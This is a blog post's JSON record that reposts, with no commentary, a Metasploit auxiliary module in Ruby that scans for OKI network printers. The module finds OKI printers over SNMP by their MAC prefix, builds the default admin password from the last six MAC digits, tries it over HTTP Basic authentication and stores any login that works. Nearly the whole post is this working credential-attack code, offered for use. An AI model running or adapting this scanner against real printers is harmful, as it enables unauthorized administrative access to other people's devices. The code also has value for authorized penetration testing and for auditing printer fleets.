{"id":59377,"date":"2024-09-01T22:40:02","date_gmt":"2024-09-01T19:40:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181212\/oki_scanner.rb.txt"},"modified":"2024-09-01T22:40:02","modified_gmt":"2024-09-01T19:40:02","slug":"oki-printer-default-login-credential-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/oki-printer-default-login-credential-scanner\/","title":{"rendered":"OKI Printer Default Login Credential Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p># TODO: Split this module into two separate SNMP and HTTP modules.<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::SNMPClient<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info={})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;OKI Printer Default Login Credential Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module scans for OKI printers via SNMP, then tries to connect to found devices<br \/>with vendor default administrator credentials via HTTP authentication. By default, OKI<br \/>network printers use the last six digits of the MAC as admin password.<br \/>},<br \/>&#8216;Author&#8217; =&gt; &#8216;antr6X &lt;anthr6x[at]gmail.com&gt;&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>OptPort.new(&#8216;SNMPPORT&#8217;, [true, &#8216;The SNMP Port&#8217;, 161]),<br \/>OptPort.new(&#8216;HTTPPORT&#8217;, [true, &#8216;The HTTP Port&#8217;, 80])<br \/>])<\/p>\n<p>deregister_options(&#8216;RPORT&#8217;, &#8216;VHOST&#8217;)<br \/>end<\/p>\n<p>def cleanup<br \/>datastore[&#8216;RPORT&#8217;] = @org_rport<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: opts[:service_name],<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>last_attempted_at: Time.now,<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::SUCCESSFUL,<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def run_host(ip)<br \/>@org_rport = datastore[&#8216;RPORT&#8217;]datastore[&#8216;RPORT&#8217;] = datastore[&#8216;SNMPPORT&#8217;]\n<p>index_page = &#8220;index_ad.htm&#8221;<br \/>auth_req_page = &#8220;status_toc_ad.htm&#8221;<br \/>snmp = connect_snmp()<\/p>\n<p>snmp.walk(&#8220;1.3.6.1.2.1.2.2.1.6&#8221;) do |mac|<br \/>last_six = mac.value.unpack(&#8220;H2H2H2H2H2H2&#8221;).join[-6,6].upcase<br \/>first_six = mac.value.unpack(&#8220;H2H2H2H2H2H2&#8221;).join[0,6].upcase<\/p>\n<p># check if it is a OKI<br \/># OUI list can be found at http:\/\/standards.ieee.org\/develop\/regauth\/oui\/oui.txt<br \/>if first_six == &#8220;002536&#8221; || first_six == &#8220;008087&#8221; || first_six == &#8220;002536&#8221;<br \/>sys_name = snmp.get_value(&#8216;1.3.6.1.2.1.1.5.0&#8217;).to_s<br \/>print_status(&#8220;Found: #{sys_name}&#8221;)<br \/>print_status(&#8220;Trying credential: admin\/#{last_six}&#8221;)<\/p>\n<p>tcp = Rex::Socket::Tcp.create(<br \/>&#8216;PeerHost&#8217; =&gt; rhost,<br \/>&#8216;PeerPort&#8217; =&gt; datastore[&#8216;HTTPPORT&#8217;],<br \/>&#8216;Context&#8217; =&gt;<br \/>{<br \/>&#8216;Msf&#8217;=&gt;framework,<br \/>&#8216;MsfExploit&#8217;=&gt;self<br \/>}<br \/>)<\/p>\n<p>auth = Rex::Text.encode_base64(&#8220;admin:#{last_six}&#8221;)<\/p>\n<p>http_data = &#8220;GET \/#{auth_req_page} HTTP\/1.1\\r\\n&#8221;<br \/>http_data &lt;&lt; &#8220;Referer: http:\/\/#{ip}\/#{index_page}\\r\\n&#8221;<br \/>http_data &lt;&lt; &#8220;Authorization: Basic #{auth}\\r\\n\\r\\n&#8221;<\/p>\n<p>tcp.put(http_data)<br \/>data = tcp.recv(12)<\/p>\n<p>response = &#8220;#{data[9..11]}&#8221;<\/p>\n<p>case response<br \/>when &#8220;200&#8221;<br \/>print_good(&#8220;#{rhost}:#{datastore[&#8216;HTTPPORT&#8217;]} logged in as: admin\/#{last_six}&#8221;)<br \/>report_cred(<br \/>ip: rhost,<br \/>port: datastore[&#8216;HTTPPORT&#8217;],<br \/>service_name: &#8216;http&#8217;,<br \/>user: &#8216;admin&#8217;,<br \/>password: last_six,<br \/>proof: response.inspect<br \/>)<br \/>when &#8220;401&#8221;<br \/>print_error(&#8220;Default credentials failed&#8221;)<br \/>when &#8220;404&#8221;<br \/>print_status(&#8220;Page not found, try credential manually: admin\/#{last_six}&#8221;)<br \/>else<br \/>print_status(&#8220;Unexpected message&#8221;)<br \/>end<\/p>\n<p>disconnect()<br \/>end<br \/>end<\/p>\n<p># No need to make noise about timeouts<br \/>rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion<br \/>rescue ::Interrupt<br \/>raise $!<br \/>rescue ::Exception =&gt; e<br \/>print_error(&#8220;#{ip} Error: #{e.class} #{e} #{e.backtrace}&#8221;)<br \/>ensure<br \/>disconnect_snmp<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## # TODO: Split this module into two separate SNMP and HTTP modules. class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::SNMPClientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initialize(info={})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;OKI Printer Default Login Credential Scanner&#8217;,&#8216;Description&#8217; =&gt; %q{This module scans for OKI printers via SNMP, then tries to connect to found deviceswith vendor default &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59377","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59377","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59377"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59377\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59377"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59377"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59377"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}